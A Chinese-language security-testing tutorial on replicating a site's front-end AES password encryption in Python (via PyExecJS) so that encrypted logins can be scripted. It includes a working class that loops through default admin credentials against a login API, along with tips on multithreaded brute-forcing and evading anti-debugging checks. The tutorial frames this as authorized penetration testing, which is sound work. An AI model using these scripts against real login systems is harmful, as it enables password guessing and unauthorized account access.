企业安全测试分享 | 如何通过python模拟前端加密登录
字数 1232 2025-08-10 09:16:25
Python模拟前端加密登录的安全测试教学文档
1. 背景与目标
本教学文档将详细介绍如何通过Python模拟前端加密登录过程,用于企业安全测试场景。当遇到前端对密码进行加密(如AES加密)的登录系统时,传统的BurpSuite等工具无法直接进行密码爆破或重放测试,需要通过编程方式模拟整个加密过程。
2. 前端加密分析流程
2.1 抓包分析
- 使用浏览器开发者工具或抓包工具(如BurpSuite)捕获登录请求
- 观察请求参数,确认密码字段是否已被加密
- 示例:发现"password"参数已变为密文形式
2.2 加密定位方法
- 在浏览器开发者工具中设置XHR断点
- 在登录提交时暂停执行,查看调用栈
- 向上追踪找到加密函数位置
- 示例加密代码:
GibberishAES.enc(passwordEl.value, k).replace(/\s+/g, '')
2.3 加密算法识别
- 确认使用AES对称加密算法
- 查找加密密钥:
- 可能在页面源码中硬编码
- 可能通过特定算法生成
- 示例中密钥(k)为固定值,可直接从源码获取
3. Python实现方案
3.1 使用ExecJS执行JS加密
ExecJS库允许在Python环境中执行JavaScript代码,适用于需要复用前端加密逻辑的场景。
安装:
pip install PyExecJS
基本用法:
import execjs
# 创建JS执行环境
ctx = execjs.compile("""
function add(a, b) {
return a + b;
}
""")
# 调用JS函数
result = ctx.call("add", 5, 10)
print(result) # 输出: 15
3.2 完整实现步骤
-
获取前端加密JS代码:
- 从网页源码中提取AES加密相关JS代码(如AES.js)
- 或直接使用GibberishAES等已知库
-
Python实现代码框架:
import execjs
import requests
# 1. 加载JS加密代码
with open('aes.js', 'r', encoding='utf-8') as f:
aes_js = f.read()
# 2. 创建JS执行环境
ctx = execjs.compile(aes_js)
# 3. 定义加密函数
def encrypt_password(password, key):
"""
使用前端相同的加密算法加密密码
:param password: 明文密码
:param key: AES加密密钥
:return: 加密后的密文
"""
js_code = f"GibberishAES.enc('{password}', '{key}').replace(/\\s+/g, '')"
return ctx.eval(js_code)
# 4. 模拟登录
def simulate_login(username, password, key):
encrypted_pwd = encrypt_password(password, key)
login_url = "https://target.com/login"
payload = {
"username": username,
"password": encrypted_pwd
}
session = requests.Session()
response = session.post(login_url, data=payload)
return response
# 5. 使用示例
if __name__ == "__main__":
# 从页面源码获取的固定密钥
aes_key = "固定密钥值"
# 测试登录
resp = simulate_login("admin", "password123", aes_key)
print(resp.status_code)
print(resp.text)
4. 安全测试应用
4.1 密码爆破测试
通过上述方法可以实现:
- 字典攻击:遍历常见密码字典
- 暴力破解:尝试各种密码组合
4.2 重放攻击测试
- 捕获加密后的密码
- 使用相同加密过程生成新请求
- 测试请求重放的有效性
4.3 加密缺陷检测
- 测试是否使用固定IV(初始化向量)
- 验证密钥是否足够随机
- 检查是否有加密模式缺陷(如ECB模式不安全)
5. 注意事项
-
法律合规:
- 仅对授权目标进行测试
- 获取书面授权许可
- 遵守当地法律法规
-
技术注意事项:
- 处理JS执行可能出现的异常
- 注意编码问题(特别是中文密码)
- 模拟真实浏览器环境(User-Agent、Headers等)
-
性能优化:
- 避免每次请求都重新初始化JS环境
- 考虑多线程/异步实现提高爆破效率
6. 扩展知识
6.1 其他加密方式处理
- RSA加密:需要获取公钥并实现加密
- 自定义加密:需要完整逆向加密算法
- 加盐哈希:需要获取盐值和使用相同哈希算法
6.2 反调试绕过
某些网站会检测调试工具,可能需要:
- 禁用浏览器调试检测
- 使用无头浏览器(如Puppeteer)
- 修改特征避免被识别
7. 完整示例代码
import execjs
import requests
from urllib.parse import urljoin
class EncryptedLoginTester:
def __init__(self, base_url, aes_js_path='aes.js'):
self.base_url = base_url
self.session = requests.Session()
# 加载JS加密库
with open(aes_js_path, 'r', encoding='utf-8') as f:
self.js_code = f.read()
# 初始化JS环境
self.ctx = execjs.compile(self.js_code)
# 设置常见请求头
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
}
def get_encryption_key(self):
"""从登录页面获取加密密钥"""
login_page_url = urljoin(self.base_url, '/login')
response = self.session.get(login_page_url)
# 这里需要根据实际情况解析页面获取密钥
# 示例:从页面中提取密钥
key = "fixed_key_123" # 实际应从HTML/JS中提取
return key
def encrypt_password(self, password, key):
"""使用前端相同的加密算法加密密码"""
js_func = f"GibberishAES.enc('{password}', '{key}').replace(/\\s+/g, '')"
try:
return self.ctx.eval(js_func)
except Exception as e:
print(f"加密失败: {e}")
return None
def test_login(self, username, password):
"""测试登录"""
login_url = urljoin(self.base_url, '/login_api')
# 获取加密密钥
key = self.get_encryption_key()
if not key:
print("无法获取加密密钥")
return False
# 加密密码
encrypted_pwd = self.encrypt_password(password, key)
if not encrypted_pwd:
return False
# 构造请求数据
payload = {
'username': username,
'password': encrypted_pwd,
'remember': 'true'
}
# 发送登录请求
try:
response = self.session.post(
login_url,
data=payload,
headers=self.headers,
timeout=10
)
# 检查登录是否成功
if response.status_code == 200:
resp_json = response.json()
return resp_json.get('success', False)
return False
except Exception as e:
print(f"请求失败: {e}")
return False
# 使用示例
if __name__ == "__main__":
tester = EncryptedLoginTester('https://target-router.com')
# 测试一组凭证
credentials = [
('admin', 'admin'),
('admin', 'password'),
('admin', '123456'),
('admin', 'admin123')
]
for username, password in credentials:
if tester.test_login(username, password):
print(f"成功登录! 用户名: {username}, 密码: {password}")
break
else:
print(f"登录失败: {username}/{password}")
8. 总结
通过Python模拟前端加密登录是企业安全测试中的重要技能,特别是在面对以下场景时:
- 前端使用固定密钥的对称加密
- 加密逻辑可直接从JS代码中提取
- 需要自动化测试大量凭证组合
关键点总结:
- 必须准确识别前端使用的加密算法和密钥
- ExecJS是执行前端JS代码的有效工具
- 完整模拟浏览器环境可提高成功率
- 始终遵守法律和道德规范进行测试